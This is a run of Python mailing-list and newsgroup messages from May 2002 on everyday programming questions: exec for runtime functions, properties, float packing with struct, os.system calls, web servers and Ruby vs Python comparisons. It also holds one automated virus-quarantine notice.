pyth at devel.trillke.net (holger krekel) Date: Wed, 1 May 2002 19:02:47 +0200 Subject: Defining new functions at runtime In-Reply-To: References: Message-ID: <20020501170247.GP16217@devel.trillke> On Wed, May 01, 2002 at 10:51:34AM -0500, Chandan Shanbhag wrote: > I am writing a GUI interface to a database using tkinter. Now, I want to > provide a facility where a user can define python functions using the GUI > and then run them in the same runtime environment. so, a normal function > needs to be treated like a method object. > Is this possible? Can I treat functions as first class objects? Can > somebody please guide me as to how I could accomplish this? Functions *are* first class objects. What makes you think otherwise? If you have *no security concerns whatsoever* use this pattern: src = """ def f(arg): print arg """ exec src src contains the function definition (which you might want to make up from your GUI-input). exec allows to execute this function definition in the current scope. After which you can have the function 'f' available and use it like usual: f("hello world") BUT BE AWARE: - 'execing' like this may ruin your complete program because it takes place right inside your program's scope. It's almost always better to say exec src in dict1,dict2 where dict1 is the dictionary containing the global bindings and dict2 the on containing the local bindings. A binding is a 'name': object - mapping. You can transfer bindings from your program's scope into dict1 or dict2! - you should follow Boudewijn's link (same thread) to get deeper knowledge. - you should use a try/except class and pass the error to the user. otherwise your program may prematurely end. regards, holger From cliechti at gmx.net Wed May 22 19:25:06 2002 From: cliechti at gmx.net (Chris Liechti) Date: 23 May 2002 01:25:06 +0200 Subject: Why does Python mix OO concepts and non OO concepts for operation s on basic types? References: Message-ID: "Michael P. Soulier" wrote in news:ach7s6$c88$1 at news.storm.ca: > On 23 May 2002 00:01:17 +0200, Chris Liechti wrote: >> >> think abbout it as an operator. its is written in function syntax >> because +-*/% etc are aleady used. >> >> it has some advantages and it isn't "inconsistent" at all. i think >> you do prefer to write >>>>> 1 + 2 >> instead of >>>>> 1 .__add__(2) >> don't you? >> (with or without underlines. apropos, "range(3).__len__()" works ;-) > > Actually, one of the few things I like about Ruby is that all > objects in > Ruby do have methods, and thus to add two numbers... > > 2 + 4 > 2.+(4) doesn't looks very readable to me, if thats realy calling the method directly, not using the operator. at least i would expect that this is adding the float 2.0 to an integer 4 which is in arithmetical braces which just do nothing here. i.e. you can write that in python: >>> 2.+(4) 6.0 the result is a float, but >>> 2 .__add__(4) 6 (note the space betwen 2 and the dot) now its an integer result. pythons way to write special methods with underlines "__add__" etc. makes it very readble IMHO. and relaively easy to explain. > are equivalent. > > Python _does_ seem mildly inconsistent in this regard. Giving > strings > methods helped a bit, but tuples still have none, and neither do > numbers. > >>>> dir(()) > [] >>>> dir(2) > [] well both have methods... "dir" is just not telling you everything you expect. most methods belong to the class and not to the instance (you can have such but they're rare). this means that the code for methods only needs to be once in the memory and not mutiple times for each instance. >>> dir(1 .__class__) ['__abs__', '__add__'...., '__xor__'] >>> len(dir(().__class__)) 23 >>> (1,2,3).__getitem__(1) 2 > IMHO, they should all be objects with methods and a class, such > that they may be subclassed. they are, in 2.2+ chris -- Chris From quitelikely at yahoo.com.au Wed May 8 07:48:24 2002 From: quitelikely at yahoo.com.au (Patrick W) Date: 08 May 2002 21:48:24 +1000 Subject: Python vs. Perl, which is better to learn? References: <82bsbvl5q1.fsf@acropolis.localdomain> <82adrehag0.fsf@acropolis.localdomain> <821ycqjayi.fsf@acropolis.localdomain> <3CD5F1CC.A65C4AE0@engcorp.com> <3CD77BF0.49C749B2@cascade-sys.com> <3CD8B28B.C610082@engcorp.com> Message-ID: <871ycmlv1z.fsf@tower.localdomain> "James J. Besemer" writes: > [...] > > These are but two example of computations unsuitable for Python out > of an entire application domain where I expect Python would have a > lot of trouble. And this isn't even real time image processing! > > [Of course, now somebody is going to point me to some Python C > extension for processing Image data.... ;o} But my main point still > holds unless the entire library is written in Python. ;o] I can only assume there's a misunderstanding between Peter and ourselves. I started out arguing that a mid-level language (more abstract than C, faster than Python) is useful because there is a substantial sweet spot between C and Python. When Aahz asked me to elaborate, I thought more about my assumption and compared it with my actual experience, and concluded that for everything I do these days, C and Python are sufficient. In theory it still sounds reasonable that there are ... dare I say ... "some" situations in which it is convenient to have both higher-level abstraction capabilities and excellent runtime performance in the same language, but in practice I think those situations are less common than I had thought. (I have used C++ extensively in the past, but in hindsight it was a very high price to pay for runtime efficiency that probably did not justify the extra development time and effort involved). But the reason Python is sufficient (for me) is _because_ of the existence of C and C++ extension modules. Without the ability to write (or, more often, use existing) C extensions, this would be utterly impractical. I don't think for one minute that Peter _could_ be arguing against the proposition that Python _by itself_ is unacceptably slow for a range of purposes wide enough to be called "many", by reasonable people. Where would we be if graphics/multimedia systems, OS kernels, RDBMSs, internet infrastructure, GUI libraries, 3D modeling tools, complex scientific simulations, or other systems too "many" to mention, were written in _pure native Python_? This _must_ be a misunderstanding, else one (or two, or even three) of us are insane. ;-) I look forward to the day when Moore's law (or a super-intelligent native code compiler for Python;-)) makes this a genuine possibility. But we're a long way from that. > > I believe quite the opposite, if it wasn't clear: it will /rarely/ > > be the case that Python is found to be too slow. > > (a) Nobody ever questioned or criticized your experience. I only > suggested that it was not representative of all applications. > > (b) Neither Patrick W nor I ever said or implied that Python "often" > would be too slow. When I say "Python", what I really mean is Python + Extension modules: PyQt, PyOpenGL, Numeric, PIL, and so on. (PyGame - SDL wrapper - is a lot of fun too!). Python is a wonderful language, and these extensions make it possible to use it in most of the circumstances that matter to me. But if we are talking about "pure" Python, I'd want to upgrade "often" to "usually". ;-) Cheers, P. From weeks at vitus.scs.agilent.com Tue May 14 19:18:15 2002 From: weeks at vitus.scs.agilent.com (Greg Weeks) Date: Tue, 14 May 2002 23:18:15 +0000 (UTC) Subject: get/set References: <20020510184436.4cbc7313.wilk@flibuste.net> <1021404910.199672@cswreg.cos.agilent.com> Message-ID: <1021418295.647586@cswreg.cos.agilent.com> Greg Weeks (weeks at vitus.scs.agilent.com) wrote: : PS: As for the slew of additional possibilities mentioned in the previous : paragraph: Python is still nicer than Perl, so it is of the utmost : importance that more constructs be added to allow us to do the same things : (or marginally different things) in new ways. We should strive to make our : 2.2 code as unique and foreign to 1.5.2 style as humanly possible. More : constructs! Terser code! TIMTOWTDI! Okay, I take it all back. The very day that I write the above, I find myself missing a get method for lists analogous to the get method for dictionaries. Obviously, then, TIMTOWTDI isn't all bad. *Too much* TIMTOWTDI is bad. So what is too much? I do sense out in the world an endless pressure for more, more, more; and that is what I react against. But I haven't actually taken the time to evaluate Python as seriously as I'd like to. (I can't.) So, as I said, I take it all back. Greg From andymac at bullseye.apana.org.au Thu May 30 07:27:08 2002 From: andymac at bullseye.apana.org.au (Andrew MacIntyre) Date: Thu, 30 May 2002 22:27:08 +1100 (edt) Subject: Why no libpython2.x.so in redhat? In-Reply-To: <83adqjud6f.fsf@panacea.canonical.org> Message-ID: On 28 May 2002, Kragen Sitaker wrote: > spam at fisher.forestry.uga.edu (Chris Fonnesbeck) writes: > > I'm just trying to figure out why my program is running fine on > > Debian, but not on RedHat. Here's some simple code that illustrates > > what is not working: > > The standard Python distribution builds itself in a brain-dead > fashion: all the code that implements the Python language is > statically linked into the interpreter binary and also available in a > static-linking library. The result is that other programs that embed > Python must also incorporate that library, which is about 3.5M in 2.1.1. Brain-dead is how you might think of it, but it has its benefits. PIC code has a performance cost, for example, which matter to some people. Funnily enough, linking extensions doesn't introduce a library dependency that can cause its own problems, either. So its not black and white, even if you can't see the shades of grey. BTW, that static library is with debug symbols, which get stripped out by the install, so the actual executable is only ~700kB - depending on compiler and optimisations. -- Andrew I MacIntyre "These thoughts are mine alone..." E-mail: andymac at bullseye.apana.org.au | Snail: PO Box 370 andymac at pcug.org.au | Belconnen ACT 2616 Web: http://www.andymac.org/ | Australia From rpm1deletethis at frontiernet.net Sat May 4 07:37:13 2002 From: rpm1deletethis at frontiernet.net (RPM1) Date: Sat, 4 May 2002 07:37:13 -0400 Subject: Using functional tools References: Message-ID: "Ken Seehof" wrote ... > Pekka Niiranen says: > > I would like to feed every second (or 3rd or 4th .etc) item in a list > > to > > a function. > > > > list = ['a', 'b', 'c', 'd', 'e'] > > > > **some fancy map/filter -trick here** > > => list = ['a', function('b'), 'c', function('d'), 'e'] > > > > Is there a (functional) way without using for or while -structures ? > Hmmm, I am in the process of writing an extension that has a function: pick(List, IndexList) Given List = [L1, L2, L3, ...], Index = [I1, I2, I3, ...] pick returns [List[I1], List[I2], List[I3], ...] or in Python: def pick(L,I): result = [] for i in I: result.append(L[i]) return result My extension is 4 times faster than the Python code. I wonder if there is a pure Python functional way that is as fast as the extension? Keep in mind, the index list I can be longer or shorter than L, (it just has to be all numbers). If you're curious, it's for a chess program. Patrick From phd at phd.pp.ru Tue May 28 09:04:07 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Tue, 28 May 2002 17:04:07 +0400 Subject: How long until 2.3a1? In-Reply-To: <1lr6fus4i1il3qtgtius9sn66cd4njs4vg@4ax.com>; from steve@lurking.demon.co.uk on Tue, May 28, 2002 at 12:51:36PM +0100 References: <1lr6fus4i1il3qtgtius9sn66cd4njs4vg@4ax.com> Message-ID: <20020528170407.C32219@phd.pp.ru> On Tue, May 28, 2002 at 12:51:36PM +0100, Steve Horne wrote: > According to PEP283, version 2.3a1 was tentatively scheduled for may > 22nd. > > Is there a major delay to this, or is it imminent? Whatch the thread "Python 2.3 release schedule" at http://mail.python.org/pipermail/python-dev/2002-May/024395.html Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From cliechti at gmx.net Sat May 25 12:38:01 2002 From: cliechti at gmx.net (Chris Liechti) Date: 25 May 2002 18:38:01 +0200 Subject: Off Topic, But List Related -- Tired of Getting Spammed Via The Python List? References: Message-ID: "Peter F. Ferris" wrote in news:mailman.1022342921.19946.python-list at python.org: > Good Morning, Good Afternoon and Good Evening, > > I'm not sure if this is happening to everyone or just myself, but for > the 4th time in approximately two-three weeks (since I've joined the > Python.org list), I been spammed because I'm a list member. you may not have noticed yet but the python list is mirrored to USENET: news://comp.lang.python and sometimes spammers go through those messages to collect addresses. the mail<->list gateway has a spam protection form what i heard, but sometimes a spam message yould get through. i'm happy that this gateway exists - i prefer news over an email flood ;-). chris -- Chris From dreed at capital.edu Sun May 12 19:07:02 2002 From: dreed at capital.edu (Dave Reed) Date: Sun, 12 May 2002 19:07:02 -0400 Subject: Zaurus and Python, a good combination In-Reply-To: <3CDEE799.5030306@earthlink.net> (message from Ron Stephens on Sun, 12 May 2002 22:07:40 GMT) References: <3CDEE799.5030306@earthlink.net> Message-ID: <200205122307.g4CN72k03119@localhost.localdomain> > From: Ron Stephens > > Thanks to the folks at Riverbank Computing you can download a Python > interpreter that runs on the ARM and Linux based Sharp Zaurus PDA; > Riverbank's web site at http://www.riverbankcomputing.co.uk/zaurus/ is > the place to go for this download. There ar also downloads for many > Python librairies for the ARM. > The Zaurus also comes with a built-in JEDOE JVM in order to make porting > Java progrtasm eassy, and to make > developing new Java bsed code for the Zaurus easy.Also, the Zaurus has > its native QT-based Qtopia environment. > I am trying to learn PyQt > and Black Adder to make GUI programs for the Zaurus (although I don't > know if or how hard it would be to port PyQt to the machine?) But even on > the command line, Python shines in my opinion. > > So, if anyone is looking for new realms to conquer with their Python > skills, I heartily recommend the Sharp Zaurus. > > I don't know if PyQt programs can be turned into ipkg files, that are > automatically installable on the Zaurus, but I suspect with work they > might be. The Riverbank Computing folks have already ported PyQt to the Zaurus http://www.riverbankcomputing.co.uk/download/PyQt/ I've already written a couple PyQt programs for personal use on my Zaurus with it. This was my first use of Qt (used Motif years ago and GTK more recently). So far I still like GTK better, but I don't know Qt well enough yet to make much of a judgment. One thing I have noticed is that the Zaurus "mouse button" doesn't seem to generate PyQt signals - I'm going to mail Phil at River Bank and see if this is a known issue. Other than that it works quite well. > Ron Stephens > http://www.awaretek.com Dave From marklists at mceahern.com Fri May 10 13:03:53 2002 From: marklists at mceahern.com (Mark McEahern) Date: Fri, 10 May 2002 12:03:53 -0500 Subject: get/set In-Reply-To: <20020510184436.4cbc7313.wilk@flibuste.net> Message-ID: [William Dode] > coming from java, i use to do a lot of get set method and make all the > variable as private. > > class Toto: > def getA(self): return self._a > def setA(self,v): self._a=v > ... > > Shall i do like that in python ? Field descriptors are new with Python 2.2 and require the new-style classes. To create a new-style class, simple subclass from object (as shown below). Then, you can create properties... class Person(object): def __init__(self): self._first_name = '' def get_first_name(self): return self._first_name def set_first_name(self, value): self._first_name = value first_name = property(get_first_name, set_first_name) Obviously, unless I'm doing some validation, there's not much point in using properties versus just plain old: class Person: def __init__(self): self.first_name = '' p = Person() p.first_name = "whatever" // mark From egrossde at yahoo.de Sun May 5 15:23:56 2002 From: egrossde at yahoo.de (jb) Date: Sun, 05 May 2002 21:23:56 +0200 Subject: Global variables in different moduls References: <3cd56d91_1@goliath2.newsgroups.com> <3cd57b7e_1@goliath2.newsgroups.com> Message-ID: <3cd584c8_5@goliath2.newsgroups.com> I think I understand it now. -- J B Il n'y a gu?re dans la vie qu'une pr?occupation grave: c'est la mort; (Dumas) -----------== Posted via Newsfeeds.Com - Uncensored Usenet News ==---------- http://www.newsfeeds.com The #1 Newsgroup Service in the World! -----= Over 100,000 Newsgroups - Ulimited Fast Downloads - 19 Servers =----- From gdemmy at layton-graphics.com Thu May 23 08:21:56 2002 From: gdemmy at layton-graphics.com (George Demmy) Date: 23 May 2002 08:21:56 -0400 Subject: Executing a system command References: <3cec0fa1_1@news2.newsgroups.com> <3cec8c79_1@goliath2.newsgroups.com> Message-ID: jb writes: > Chris Liechti wrote: > > > jb wrote in news:3cec0fa1_1 at news2.newsgroups.com: > > > >> I should like to execute the bash command > >> > >> (cd prefix;latex file.tex;dvips file) > >> > >> Can I do that with the os.system function? > > > > i think you can. > > > >>It seems I am having diffculties with that. > > > > then descibe that problem so that we can help :-) > > I create the Latex source and when I want to compile it the Latex > compilation stops and an asteriks appears on the screen: > > xxx > xxxxxx > * > > But the latex file seems to be in order and when I do the same procedure > from bash, everything is in order. > When I execute the same command from Python, that is I have > os.system('(cd ...)') > the compilation stops. > It "can" work... I just executed a os.system command similar to yours: os.system('cd tmp ; latex command.tex ; dvips -o foo.ps command.dvi') and it worked fine. Do you have TeX-specific environment variables that may not be getting passed to the environment in which your system command is executed? You can examine this environment by looking at os.environ. This is a dictionary keyed by the name of the environment variable. You can set values for the os.system environment simply by assignment, e.g. >>> import os >>> os.environ['TEXHOME'] = '/foo' >>> os.system("echo $TEXHOME") /foo 0 >>> Viel glueck! G -- George Demmy Layton Graphics, Inc From ianb at colorstudy.com Sun May 12 17:46:15 2002 From: ianb at colorstudy.com (Ian Bicking) Date: 12 May 2002 16:46:15 -0500 Subject: High performance Python web-app In-Reply-To: <3CDE9D7B.7050408@xs4all_removethisalso.nl> References: <3CDE9D7B.7050408@xs4all_removethisalso.nl> Message-ID: <1021239975.558.11.camel@localhost> On Sun, 2002-05-12 at 11:51, iwk wrote: > Hi there, > > We've been using a custom developed html/python templating system which > runs under CGI. It was ported to mod_python one year and a half ago, but > as the system was only used for small-scale sites, in the end that > was never taken into production. Now however, a customer wants to deploy > the system on Apache 2 running on Win32 and the site is expected to > attract a rather large number of visistors on occasion. Considering the > abysmal performance of CGI apps on Windows, this poses a considerable > problem. > > My question is: are there any *stable* solutions available to enable > fast ptyhon web-apps running on Apache 2/Win32? (Mod_python only runs on > Apache 1.3 as far as I know and Mod_snake seems to have been taken off > line....) Webware (webware.sf.net) might require more refactoring than mod_python/mod_snake (if you're coming from CGI), but it's zippy enough. Unfortunately, the fastest way to connect to Apache (mod_webkit -- a custom module just for Webware) hasn't been adapted for Apache 2.0 yet. I can't imagine it would be hard to port, though, as it's only 700 lines of simple code. The C-based CGI adapter is also surprisingly fast on Linux, but I imagine it would be slow on Windows (because of the penalty for starting new processes). The Webware AppServer itself is thread-based, and it runs fine in Windows. Ian From nhodgson at bigpond.net.au Sat May 11 19:56:21 2002 From: nhodgson at bigpond.net.au (Neil Hodgson) Date: Sat, 11 May 2002 23:56:21 GMT Subject: Multibyte Character Surport for Python References: Message-ID: Chris Liechti: ... > > Chris Liechti: ... > >> true, but how i'm supposed to use the nice chinese module which uses > >> class names i can't even type on my keyboard? ... > i know i've played around with it. but that does not change the fact that > i'm still unable to type a specific character because i don't know any > chinese at all. all i could do is copy&paste of such names... For the specific need of using a Chinese module, copy and paste seems a reasonable method. Further, autocompletion should then make it easy to use further identifiers, although its my fault that the autocompletion in some editors doesn't cope with Chinese (caused by wanting to have common code on Windows 9x and NT and Windows 9x doesn't have wide character list boxes). Neil From ken at hotmail.com Thu May 30 05:57:14 2002 From: ken at hotmail.com (Ken) Date: Thu, 30 May 2002 19:57:14 +1000 Subject: User input question References: Message-ID: "Eric Brunel" wrote in message news:ad4qbk$sd6$1 at wanadoo.fr... > Ken wrote: > [snip] > > This is the equilvalent C++ code I want to work in python: > > > > string s; > > cin>>s; > > search_word(s) > > > > void search_word(string s){ > > //do something > > } > > Considering your HTML form, I don't know if it's the right thing to do, but > here is the exact equivalent of your C++ code: > > import sys > s = sys.stdin.readline() > search_word(s) > > The method "readline" on an opened file object reads one line in the file, > which, IIRC, is the same than doing "cin >>" in C++. > > But considering what I know about HTML forms (but I've forgotten a lot...), > you may get the string "searchword=" instead of just the word you > want... > Does this also work for user input from keyboard? Thanks From NAIOCEANIC1HUINA at oceanic.com Tue May 28 10:33:59 2002 From: NAIOCEANIC1HUINA at oceanic.com (GroupShield for Exchange (HUINA)) Date: Tue, 28 May 2002 04:33:59 -1000 Subject: ALERT - GroupShield ticket number OB0_1022596438_HUINA_1 was gen erated Message-ID: <8457258D741DD411BD3D0050DA623659037A6C45@HUINA> Action Taken: The message was quarantined and replaced with a text informing the recipient of the action taken. To: python-list at python.org From: exim at python.org Sent: -1281782016,29492820 Subject: Mail returned: possible virus infection Attachment Details:- Attachment Name: N/A File: Infected.msg Infected? Yes Repaired? No Blocked? No Deleted? No Virus Name: Exploit-MIME.gen -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/ms-tnef Size: 1857 bytes Desc: not available URL: From lellinghaus at yahoo.com Thu May 16 06:20:11 2002 From: lellinghaus at yahoo.com (Lance Ellinghaus) Date: Thu, 16 May 2002 03:20:11 -0700 (PDT) Subject: A pure Python solution that works like expect ???? In-Reply-To: Message-ID: <20020516102011.63767.qmail@web20901.mail.yahoo.com> The PySSH library does not work when you must specify the password. Must I break down and use Perl for this? The Perl modules work correctly for this.. I just did not want to have to write it all in Perl. This is running on Solaris 2.8. I cannot disable the password requirement due to the hardware I am using SSH to connect to, so please do not suggest that. I am using OpenSSH version 3.0.2p1. Thank you! Lance --- David LeBlanc wrote: > "PySSH is a Python library for programmatically controlling ssh and > scp." > > http://pyssh.sourceforge.net/ > > David LeBlanc > Seattle, WA USA > > > -----Original Message----- > > From: python-list-admin at python.org > > [mailto:python-list-admin at python.org]On Behalf Of Lance Ellinghaus > > Sent: Tuesday, May 14, 2002 21:18 > > To: python-list at python.org > > Subject: A pure Python solution that works like expect ???? > > > > > > I am looking for a pure python solution that works like expect. > > I was looking at the Python FAQ and found a reference to PIPE by > John > > Croix. The link that it gives is no longer valid. > > Does anyone know how to get a hold of this or something that will > work > > the same way? > > I need to connect to a SSH session. Is there an alternative that I > am > > overlooking? > > > > Thank you, > > Lance Ellinghaus > > > > > > ===== > > -- > > Lance Ellinghaus > > > > __________________________________________________ > > Do You Yahoo!? > > LAUNCH - Your Yahoo! Music Experience > > http://launch.yahoo.com > > > > > > -- > > http://mail.python.org/mailman/listinfo/python-list ===== -- Lance Ellinghaus __________________________________________________ Do You Yahoo!? LAUNCH - Your Yahoo! Music Experience http://launch.yahoo.com From BPettersen at NAREX.com Wed May 15 18:14:38 2002 From: BPettersen at NAREX.com (Bjorn Pettersen) Date: Wed, 15 May 2002 16:14:38 -0600 Subject: float separationn Message-ID: <60FB8BB7F0EFC7409B75EEEC13E20192158E66@admin56.narex.com> > From: Wolfgang Draxinger [mailto:wdraxinger at darkstargames.de] > > This is not really C/C++ related, but I think this is also a > place to ask: I'm currently working on a compressed 3D Object > interchange format. With C/C++ its no problem to raw-write > the IEEE standard floats the data > consists of into files. Now I'm writing some export scripts > for blender > in python. My problem is, that the python float object > doesn't provide a > raw-data access. What I need now, is some possibility to > construct the > IEEE float format from data returned by the standard math > functions. I think frexp() is a good start, however this > still returns a float > value. I'd like to have the raw bits... > > Some ideas? The struct module should be able to do this (untested): import struct val = struct.pack('d', 3.14159) val is then a Python string containing the correct bit pattern.. -- bjorn From db3l at fitlinxx.com Mon May 13 23:22:50 2002 From: db3l at fitlinxx.com (David Bolen) Date: 13 May 2002 23:22:50 -0400 Subject: which db should I use? References: <7x4rhbplnc.fsf@ruckus.brouhaha.com> Message-ID: Paul Rubin writes: > I don't think an SQL database is what you want. Try a text indexing > program like Glimpse (www.glimpse.org) or Harvest (look in Google) etc. Hmm - did you perhaps mean http://glimpse.cs.arizona.edu (or http://webglimpse.net)? I mean, I know that text searching should really only be done by adults, but somehow www.glimpse.org doesn't seem to apply - although it does have some text files of a decidely adult nature which I suppose someone might want to search :-) -- -- David -- /-----------------------------------------------------------------------\ \ David Bolen \ E-mail: db3l at fitlinxx.com / | FitLinxx, Inc. \ Phone: (203) 708-5192 | / 860 Canal Street, Stamford, CT 06902 \ Fax: (203) 316-5150 \ \-----------------------------------------------------------------------/ From m.hadfield at niwa.co.nz Thu May 23 01:15:25 2002 From: m.hadfield at niwa.co.nz (Mark Hadfield) Date: Thu, 23 May 2002 17:15:25 +1200 Subject: OT: off-topic References: <3CEC6B59.3E125BF2@replyto.address.invalid> <3CEC784E.4D6A91DF@engcorp.com> Message-ID: "Peter Hansen" wrote in message news:3CEC784E.4D6A91DF at engcorp.com... > Greg Ewing wrote: > >> Why stop at a Python-specific solution? Off-topic >> postings are a problem in all newsgroups, so I >> propose a single group: >> >> news.off-topic > > That group already exists, but it's spelled "news.misc". > > Either that or "comp.object" .... ;-) You're both missing the point. Python people like to have off-topic discussions with other Python people. -- Mark Hadfield "Ka puwaha et tai nei, Hoea tatou" m.hadfield at niwa.co.nz National Institute for Water and Atmospheric Research (NIWA) From skip at pobox.com Mon May 6 14:42:57 2002 From: skip at pobox.com (Skip Montanaro) Date: Mon, 6 May 2002 13:42:57 -0500 Subject: In-Reply-To: References: <3CD61492.BD6F207C@engcorp.com> Message-ID: <15574.52913.560253.95090@12-248-41-177.client.attbi.com> >> Thanks guys! I have one more question. In the xml doc, I have >> already defined >> >> >> >> How come it still returns me unicode? Martin> Because the DOM is defined to operate on Unicode objects. Why do Martin> you think that declaring the encoding in the file should matter Martin> for that? Because for many people with no experience dealing with Unicode, the two strings "unicode" and "utf-8" seem semi-synonymous. (They often appear together, after all.) I'm working on a Unicode how-to. I hoped to make some progress on that over the weekend, but didn't get to it. -- Skip Montanaro (skip at pobox.com - http://www.mojam.com/) From larooy at xtar.co.nz Thu May 9 04:40:06 2002 From: larooy at xtar.co.nz (John La Rooy) Date: Thu, 9 May 2002 20:40:06 +1200 Subject: variable length print format References: <3ac67cce.0205071838.1a7186ec@posting.google.com> Message-ID: <20020509204006.269db47a.larooy@xtar.co.nz> Here's a couple of one-liners to try >>> List=['a','b','c','d'] >>> print " ".join([ "%d:%s"%(x+1,List[x]) for x in range(len(List)) ]) 1:a 2:b 3:c 4:d >>> print " ".join([ "%d:%s"%(x+1,y) for x,y in zip(range(len(List)),List) ]) 1:a 2:b 3:c 4:d On 7 May 2002 19:38:52 -0700 bbeck13 at excite.com (Brandon Beck) wrote: > Hi Les, > > Give this a shot: > > lst = ['a', 'b', 'c', 'd'] > tuples = [ (i,elem) for (i, elem) in zip(range(1, 1+len(lst)), lst) ] > s = string.join(map(lambda t: "%i:%s"%t, tuples)) > print s > > > Brandon > > > > les_ander at yahoo.com (les ander) wrote in message news:... > > Hi, > > i have a variable length list of numbers. > > i would like to print them out with indicies in front as shown below: > > > > List=['a','b','c','d'] ---> 1:a 2:b 3:c 4:d > > From ptkwt at shell1.aracnet.com Sat May 25 13:21:18 2002 From: ptkwt at shell1.aracnet.com (Phil Tomson) Date: 25 May 2002 17:21:18 GMT Subject: Ruby for Newbie?! References: <91acf731.0205200939.41e89a8f@posting.google.com> Message-ID: In article , Scrumpy wrote: >jason at jvoegele.com (Jason Voegele) wrote in >news:91acf731.0205200939.41e89a8f at posting.google.com: > >> Scrumpy wrote in message >> news:... >> There is also RDE (Ruby Development Environment) for Windows. Just >> recently, someone released a Ruby plugin for Eclipse, which is a >> development environment written in Java, which runs on Linux and other >> platforms. Of course, you also have Emacs and vi. :) > >:-P Well, I use gvim and it's great. It has syntax colorization, indentation, etc. > >>> 3/ GUI toolkits/libraries. My preference is towards using wxWindows. >>> Python: wxPython, PyQt, PyGTK. >>> RUBY: >> >> Ruby has FXRuby (FOX), RubyGnome (Gtk+), rbXPCOM (Mozilla XPToolkit), >> Ruby/FLTK, Ruby/Qt, and Ruby/Tk. More information at: >> >> http://www.rubyide.org/cgi-bin/wiki.pl?GUIFrameworkProject/GUICompariso >> n > >Very interesting! I'd never heard about some of those GUI toolkits like FOX >and FLTK. Definitely worth investigating! I was surprised how good the >reviewer made QT sound. Both FOX and FLTK look very promising depending on your requirements. > >Ease of use, cross platform support and stability, licence and speed I >guess are what I'd consider when choosing a GUI toolkit. > > >Webware is here http://webware.sourceforge.net/ > >I read that mod_ruby is not very stable. Do you have any experience using >it? I'm not a web programmer, so I can't give you a difinitive answer here: check the comp.lang.ruby archives to be sure. Seems to me that there was a discussion a month or two back where some folks said they were using mod_ruby successfully in production environments and that it is robust. > > >>> Is there an 'offical' Ruby binary for Windows? It looks like there >>> are three unofficial ones created using three different compilers! >> >> It depends on what you mean by 'official'. The "de facto" official >> Ruby binary for Windows is from "The Pragmatic Programmers", Dave >> Thomas and Andrew Hunt. You can find it here: >> >> http://www.pragmaticprogrammer.com/ruby/downloads/ruby-install.html >> >> This version is now built using Microsoft Visual C++. Previous >> version were built with gcc/cygwin. Windows binaries built with VC++, >> gcc/cygwin, and mingw are all available for download. You can also >> download the source and build with any C compiler you'd like. > >Official as in it's a Matsumoto Yukihiro (or a sanctioned Ruby core >developer) certified binary, preferably released on http://www.ruby- >lang.org/en/download.html. Matz readily admits that he isn't a Windows kind of guy - he prefers and uses Linux. So other folks tend to work on the Windows port(s). > >As per Python, the official Ruby Windows binary release would keep up to >date with, at least, the stable Ruby source release. > >Unfortunately the status of Pragmatic Programmer's Windows binary is alpha. Did you try installing it? I'm also not a Windows person, but I recently helped someone install Ruby (from RubyCentral) on their XP machine and I must say that it all went very smoothly. The SciTE editor that comes with it seems to actually be pretty nice. > >>> Finally, is there a good Ruby book aimed at newbie programmers (not >>> existing programmers new to Ruby)? >> >> It has not yet been released, but Pete McBreen, author of "Software >> Craftmanship", is currently writing a Ruby book aimed at newbie >> programmers. Until this book is completed, the next best thing would >> be Dave Thomas' and Andrew Hunt's "Programming Ruby", which is >> available online at: >> >> http://www.rubycentral.com/book/ > >I'd already looked at "Programming Ruby" in a local bookshop and found that >it's not an entry level programming book :) > >Once it's available, I would like to see Pete McBreen's "Learn >how to be a software developer" book. Hopefully it'll be very Ruby centric >and available soon ;-) As I said in a previous post, check out "Teach Yourself Ruby in 21 days", it might be what you're looking for. Phil From jason at jvoegele.com Mon May 6 14:16:18 2002 From: jason at jvoegele.com (Jason Voegele) Date: 6 May 2002 11:16:18 -0700 Subject: Python vs. Perl, which is better to learn? References: <91acf731.0205030642.580a9c59@posting.google.com> Message-ID: <91acf731.0205061016.402f3c16@posting.google.com> Alex Martelli wrote in message news:... > Jason Voegele wrote: > ... > > On the other hand, the ability to call functions without parentheses > > is not so clear-cut. Some believe that it leads to less readable > > code. Others (such as myself) view it as essential for supporting the > > Uniform Access Principle. Usually I'll leave the parentheses off of a > > "Properties" do UAP better, and meanwhile you get uniformity at ANOTHER > level: all methods are also attributes and you can deal with them as > you deal with other attributes. [snip Alex's excellent discussion of properties wrt uniform access] I haven't used any of the new (2.2?) features of Python, so I'm speaking from a position of ignorance. Ruby has similar features with attr_accessor and friends, except that Ruby makes all class/instance variables "private" (note though, that private in Ruby is somewhat different than private in C++ and Java). I presume that your arguments regarding Python's properties also apply to Ruby's 'attr's? (Not trying to start a rb vs. py thing here, just trying to understand). > > method call if it takes no arguments, which allows me to switch > > between using a variable and using a method more easily. I also find > > it easier to read in such cases. I find empty parentheses() as you > > find in C++, Java, and Python rather ugly (a "call" statement in > > disguise, as it were), although at least in Python and C++ they are > > actually an overridable operator, whereas in Java they are just > > gratuitous syntax. > > Yes, you can't take a reference to a method in Java (while you can > in Python, and also, sort of, in C++, though it's a "method > pointer" there, and rather unwieldy). Calling is indeed an OPERATOR, > while the lack of operator means "a reference to this thingy over > here". Now THAT is uniformity: naming something always gets a > reference to that thing -- if and when you want to DO something > with that reference, you express that "something". Properties let > you control the 'dot-operator' selectively and with very fine grain. Yes, this is a very useful feature. The analogous (although not quite equivalent) technique in Ruby is using Method or Proc objects that support a "call" method. "Callable" objects in Ruby are those that have a "call" method, rather than a () operator. The Ruby approach requires a little more work to get "a reference to this thingy over here". In Python, you do this by simply naming the thing (x.foo, as opposed to x.foo()). Ruby's default behavior is to call the method with that name (x.foo and x.foo() are the same thing). To get foo as an object, you must ask for it: x.method(:foo). Thus, x.method(:foo).call is a round-about way of saying x.foo(). > > In addition, I'll leave the parentheses off of function calls that are > > conceptually similar to keywords. For example, Ruby's "raise" method > > (which raises an exception), or an "assert" method from a testing > > framework, or attr_accessor and friends. > > Given that raise and assert are statements in Python (Ruby is more > flexible by having them as methods, though Python's design choice > has its own little pluses too -- interesting tradeoffs), I can hardly > criticize you for "wanting" them to be in Ruby too:-). I never expected to be psycho-analyzed by a c.l.py bot. :-) Cute. > Actually, it's when a callable HAS arguments that it may be least > disruptive to allow it to be called without parentheses, just by > "juxtaposition" to its arguments. I do admit I love Haskell's > way of expressing "f a b c", so clean -- 